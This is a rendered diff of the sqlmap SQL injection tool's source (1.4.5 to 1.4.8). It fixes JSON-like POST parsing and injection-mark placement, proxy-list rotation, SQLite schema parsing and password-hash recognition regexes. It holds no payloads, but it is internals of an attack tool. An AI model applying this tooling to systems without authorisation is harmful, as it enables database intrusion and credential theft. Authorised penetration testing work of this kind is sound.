paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
@@ -1500,7 +1512,7 @@ def parseTargetDirect():
|
|||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
|
|
||||||
if details.group('credentials'):
|
if details.group("credentials"):
|
||||||
conf.dbmsUser = details.group("user")
|
conf.dbmsUser = details.group("user")
|
||||||
conf.dbmsPass = details.group("pass")
|
conf.dbmsPass = details.group("pass")
|
||||||
else:
|
else:
|
||||||
@@ -1612,7 +1624,7 @@ def parseTargetUrl():
|
|||||||
|
|
||||||
originalUrl = conf.url
|
originalUrl = conf.url
|
||||||
|
|
||||||
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
|
if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
|
||||||
errMsg = "IPv6 communication is not supported "
|
errMsg = "IPv6 communication is not supported "
|
||||||
errMsg += "on this platform"
|
errMsg += "on this platform"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -2855,6 +2867,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
result = None if value is None else ""
|
result = None if value is None else ""
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
|
value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
|
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
|
||||||
warnMsg = "if you experience problems with "
|
warnMsg = "if you experience problems with "
|
||||||
warnMsg += "non-ASCII identifier names "
|
warnMsg += "non-ASCII identifier names "
|
||||||
@@ -2889,6 +2903,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
if spaceplus:
|
if spaceplus:
|
||||||
result = result.replace(_urllib.parse.quote(' '), '+')
|
result = result.replace(_urllib.parse.quote(' '), '+')
|
||||||
|
|
||||||
|
result = result.replace(DOLLAR_MARKER, '$')
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def runningAsAdmin():
|
def runningAsAdmin():
|
||||||
@@ -3265,7 +3281,7 @@ def parseSqliteTableSchema(value):
|
|||||||
Parses table column names and types from specified SQLite table schema
|
Parses table column names and types from specified SQLite table schema
|
||||||
|
|
||||||
>>> kb.data.cachedColumns = {}
|
>>> kb.data.cachedColumns = {}
|
||||||
>>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
|
>>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
|
||||||
True
|
True
|
||||||
>>> repr(kb.data.cachedColumns).count(',') == 1
|
>>> repr(kb.data.cachedColumns).count(',') == 1
|
||||||
True
|
True
|
||||||
@@ -3277,9 +3293,9 @@ def parseSqliteTableSchema(value):
|
|||||||
table = {}
|
table = {}
|
||||||
columns = {}
|
columns = {}
|
||||||
|
|
||||||
for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
|
for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
|
||||||
retVal = True
|
retVal = True
|
||||||
columns[match.group(1)] = match.group(2)
|
columns[match.group(1)] = match.group(2) or "TEXT"
|
||||||
|
|
||||||
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
|
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
|
||||||
kb.data.cachedColumns[conf.db] = table
|
kb.data.cachedColumns[conf.db] = table
|
||||||
@@ -3376,7 +3392,7 @@ def setOptimize():
|
|||||||
|
|
||||||
# conf.predictOutput = True
|
# conf.predictOutput = True
|
||||||
conf.keepAlive = True
|
conf.keepAlive = True
|
||||||
conf.threads = 3 if conf.threads < 3 else conf.threads
|
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||||
|
|
||||||
if not conf.nullConnection:
|
if not conf.nullConnection:
|
||||||
@@ -4113,24 +4129,25 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
|
|
||||||
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
||||||
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
if not conf.noEscape:
|
||||||
|
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if isTable:
|
if isTable:
|
||||||
parts = retVal.split('.', 1)
|
parts = retVal.split('.', 1)
|
||||||
for i in xrange(len(parts)):
|
for i in xrange(len(parts)):
|
||||||
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
|
||||||
parts[i] = "[%s]" % parts[i]
|
parts[i] = "[%s]" % parts[i]
|
||||||
retVal = '.'.join(parts)
|
retVal = '.'.join(parts)
|
||||||
else:
|
else:
|
||||||
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
|
||||||
retVal = "[%s]" % retVal
|
retVal = "[%s]" % retVal
|
||||||
|
|
||||||
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
|
||||||
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
|
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
|
||||||
|
|||||||
+16
-1
@@ -198,8 +198,20 @@ def decodeBase64(value, binary=True, encoding=None):
|
|||||||
True
|
True
|
||||||
>>> decodeBase64("MTIz", binary=False)
|
>>> decodeBase64("MTIz", binary=False)
|
||||||
'123'
|
'123'
|
||||||
|
>>> decodeBase64(b"MTIzNA") == b"1234"
|
||||||
|
True
|
||||||
|
>>> decodeBase64("MTIzNA") == b"1234"
|
||||||
|
True
|
||||||
|
>>> decodeBase64("MTIzNA==") == b"1234"
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
padding = b'=' if isinstance(value, bytes) else '='
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/49459036
|
||||||
|
if not value.endswith(padding):
|
||||||
|
value += 3 * padding
|
||||||
|
|
||||||
retVal = base64.b64decode(value)
|
retVal = base64.b64decode(value)
|
||||||
|
|
||||||
if not binary:
|
if not binary:
|
||||||
@@ -256,7 +268,10 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
|||||||
if unsafe:
|
if unsafe:
|
||||||
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
|
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
|
||||||
else:
|
else:
|
||||||
retVal = value.encode(encoding, errors)
|
try:
|
||||||
|
retVal = value.encode(encoding, errors)
|
||||||
|
except UnicodeError:
|
||||||
|
retVal = value.encode(UNICODE_ENCODING, errors="replace")
|
||||||
|
|
||||||
if unsafe:
|
if unsafe:
|
||||||
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
||||||
|
|||||||
+10
-7
@@ -39,16 +39,19 @@ def cachedmethod(f):
|
|||||||
|
|
||||||
@functools.wraps(f)
|
@functools.wraps(f)
|
||||||
def _f(*args, **kwargs):
|
def _f(*args, **kwargs):
|
||||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with _cache_lock:
|
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||||
result = _cache[f][key]
|
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
|
||||||
except KeyError:
|
|
||||||
result = f(*args, **kwargs)
|
result = f(*args, **kwargs)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
with _cache_lock:
|
||||||
|
result = _cache[f][key]
|
||||||
|
except KeyError:
|
||||||
|
result = f(*args, **kwargs)
|
||||||
|
|
||||||
with _cache_lock:
|
with _cache_lock:
|
||||||
_cache[f][key] = result
|
_cache[f][key] = result
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ _defaults = {
|
|||||||
"delay": 0,
|
"delay": 0,
|
||||||
"timeout": 30,
|
"timeout": 30,
|
||||||
"retries": 3,
|
"retries": 3,
|
||||||
|
"csrfRetries": 0,
|
||||||
"saFreq": 0,
|
"saFreq": 0,
|
||||||
"threads": 1,
|
"threads": 1,
|
||||||
"level": 1,
|
"level": 1,
|
||||||
|
|||||||
+1
-1
@@ -241,7 +241,7 @@ class Dump(object):
|
|||||||
lines = "-" * (int(maxlength) + 2)
|
lines = "-" * (int(maxlength) + 2)
|
||||||
|
|
||||||
for db, tables in dbTables.items():
|
for db, tables in dbTables.items():
|
||||||
tables.sort()
|
tables = sorted(filter(None, tables))
|
||||||
|
|
||||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -177,7 +177,7 @@ class HASH(object):
|
|||||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||||
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
|
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||||
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||||
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||||
|
|||||||
+7
-11
@@ -93,7 +93,6 @@ from lib.core.exception import SqlmapInstallationException
|
|||||||
from lib.core.exception import SqlmapMissingDependence
|
from lib.core.exception import SqlmapMissingDependence
|
||||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||||
from lib.core.exception import SqlmapMissingPrivileges
|
from lib.core.exception import SqlmapMissingPrivileges
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
from lib.core.exception import SqlmapSystemException
|
from lib.core.exception import SqlmapSystemException
|
||||||
@@ -983,16 +982,13 @@ def _setHTTPHandlers():
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
with kb.locks.handlers:
|
with kb.locks.handlers:
|
||||||
if conf.proxyList is not None:
|
if conf.proxyList:
|
||||||
if not conf.proxyList:
|
|
||||||
errMsg = "list of usable proxies is exhausted"
|
|
||||||
raise SqlmapNoneDataException(errMsg)
|
|
||||||
|
|
||||||
conf.proxy = conf.proxyList[0]
|
conf.proxy = conf.proxyList[0]
|
||||||
conf.proxyList = conf.proxyList[1:]
|
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
|
||||||
|
|
||||||
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
if len(conf.proxyList) > 1:
|
||||||
logger.info(infoMsg)
|
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
elif not conf.proxy:
|
elif not conf.proxy:
|
||||||
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
|
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
|
||||||
@@ -2066,11 +2062,11 @@ def _useWizardInterface():
|
|||||||
message = "Please enter full target URL (-u): "
|
message = "Please enter full target URL (-u): "
|
||||||
conf.url = readInput(message, default=None)
|
conf.url = readInput(message, default=None)
|
||||||
|
|
||||||
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||||
conf.data = readInput(message, default=None)
|
conf.data = readInput(message, default=None)
|
||||||
|
|
||||||
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
||||||
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||||
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
||||||
if not conf.crawlDepth and not conf.forms:
|
if not conf.crawlDepth and not conf.forms:
|
||||||
warnMsg += "Will search for forms"
|
warnMsg += "Will search for forms"
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ optDict = {
|
|||||||
"csrfToken": "string",
|
"csrfToken": "string",
|
||||||
"csrfUrl": "string",
|
"csrfUrl": "string",
|
||||||
"csrfMethod": "string",
|
"csrfMethod": "string",
|
||||||
|
"csrfRetries": "integer",
|
||||||
"forceSSL": "boolean",
|
"forceSSL": "boolean",
|
||||||
"chunked": "boolean",
|
"chunked": "boolean",
|
||||||
"hpp": "boolean",
|
"hpp": "boolean",
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.4.5.0"
|
VERSION = "1.4.8.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -69,6 +69,7 @@ REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
|||||||
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||||
SAFE_VARIABLE_MARKER = "__SAFE__"
|
SAFE_VARIABLE_MARKER = "__SAFE__"
|
||||||
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
||||||
|
DOLLAR_MARKER = "__DOLLAR__"
|
||||||
|
|
||||||
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||||
@@ -249,7 +250,7 @@ PYVERSION = sys.version.split()[0]
|
|||||||
IS_WIN = PLATFORM == "nt"
|
IS_WIN = PLATFORM == "nt"
|
||||||
|
|
||||||
# Check if running in terminal
|
# Check if running in terminal
|
||||||
IS_TTY = os.isatty(sys.stdout.fileno())
|
IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
|
||||||
|
|
||||||
# DBMS system databases
|
# DBMS system databases
|
||||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
||||||
@@ -605,7 +606,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
|
|||||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||||
|
|
||||||
# Period after last-update to start nagging about the old revision
|
# Period after last-update to start nagging about the old revision
|
||||||
LAST_UPDATE_NAGGING_DAYS = 60
|
LAST_UPDATE_NAGGING_DAYS = 180
|
||||||
|
|
||||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||||
@@ -816,7 +817,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
|||||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||||
|
|
||||||
# Regular expression used for detecting JSON-like POST data
|
# Regular expression used for detecting JSON-like POST data
|
||||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
|
||||||
|
|
||||||
# Regular expression used for detecting multipart POST data
|
# Regular expression used for detecting multipart POST data
|
||||||
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
||||||
|
|||||||
+12
-13
@@ -120,7 +120,7 @@ def _setRequestParams():
|
|||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
if kb.customInjectionMark in retVal:
|
if kb.customInjectionMark in retVal:
|
||||||
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
|
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -145,6 +145,7 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.JSON
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
@@ -159,8 +160,6 @@ def _setRequestParams():
|
|||||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
||||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||||
|
|
||||||
kb.postHint = POST_HINT.JSON
|
|
||||||
|
|
||||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON-like data found in %s body. " % conf.method
|
message = "JSON-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -169,13 +168,16 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.JSON_LIKE
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
if '"' in conf.data:
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||||
|
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
|
||||||
kb.postHint = POST_HINT.JSON_LIKE
|
else:
|
||||||
|
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||||
|
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Array-like data found in %s body. " % conf.method
|
message = "Array-like data found in %s body. " % conf.method
|
||||||
@@ -185,12 +187,11 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
